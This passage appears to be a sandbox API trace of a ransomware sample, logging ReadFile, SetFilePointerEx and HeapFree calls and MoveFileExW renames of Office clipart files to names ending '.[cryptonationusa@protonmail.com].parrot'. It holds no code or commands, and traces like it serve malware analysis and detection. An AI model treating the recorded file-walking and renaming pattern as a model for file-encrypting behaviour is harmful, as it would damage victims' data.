out: hHeap=0x5b0000) returned 1 [0151.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0151.261] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.261] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.300] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.300] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x175f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x175f, lpOverlapped=0x0) returned 1 [0151.301] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0151.307] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.307] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.308] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.309] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x278a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x278a, lpOverlapped=0x0) returned 1 [0151.310] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.315] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.315] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.317] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.317] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13c2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x13c2, lpOverlapped=0x0) returned 1 [0151.318] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.320] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.320] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.320] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0151.322] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.322] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.324] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.324] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x18f8, lpOverlapped=0x0) returned 1 [0151.325] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.325] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0151.329] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.329] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.331] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.331] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a0a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a0a, lpOverlapped=0x0) returned 1 [0151.332] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.335] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.336] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.337] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.337] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ca4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7ca4, lpOverlapped=0x0) returned 1 [0151.347] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0151.355] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.355] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.359] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.359] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf5c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf5c, lpOverlapped=0x0) returned 1 [0151.359] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0151.365] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.365] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.367] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.367] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1dac, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1dac, lpOverlapped=0x0) returned 1 [0151.368] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.371] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.371] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.371] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0151.374] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.374] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.375] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.376] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1268, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1268, lpOverlapped=0x0) returned 1 [0151.376] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.377] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0151.381] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.381] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.382] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.382] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20e0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x20e0, lpOverlapped=0x0) returned 1 [0151.383] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.384] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.386] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.386] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.386] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.388] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.388] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.390] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.390] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xae4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xae4, lpOverlapped=0x0) returned 1 [0151.390] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.390] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0151.394] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.394] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.396] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.396] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x540, lpOverlapped=0x0) returned 1 [0151.396] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.396] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.398] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.398] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.398] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0151.400] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.400] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.401] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.401] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1db8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1db8, lpOverlapped=0x0) returned 1 [0151.405] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.405] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.407] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.407] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.407] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0151.410] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.410] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.412] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.412] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcdc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcdc, lpOverlapped=0x0) returned 1 [0151.412] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.412] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0151.416] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.416] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.418] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.418] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x60c, lpNumberOfBytesRead=0x18eed4, 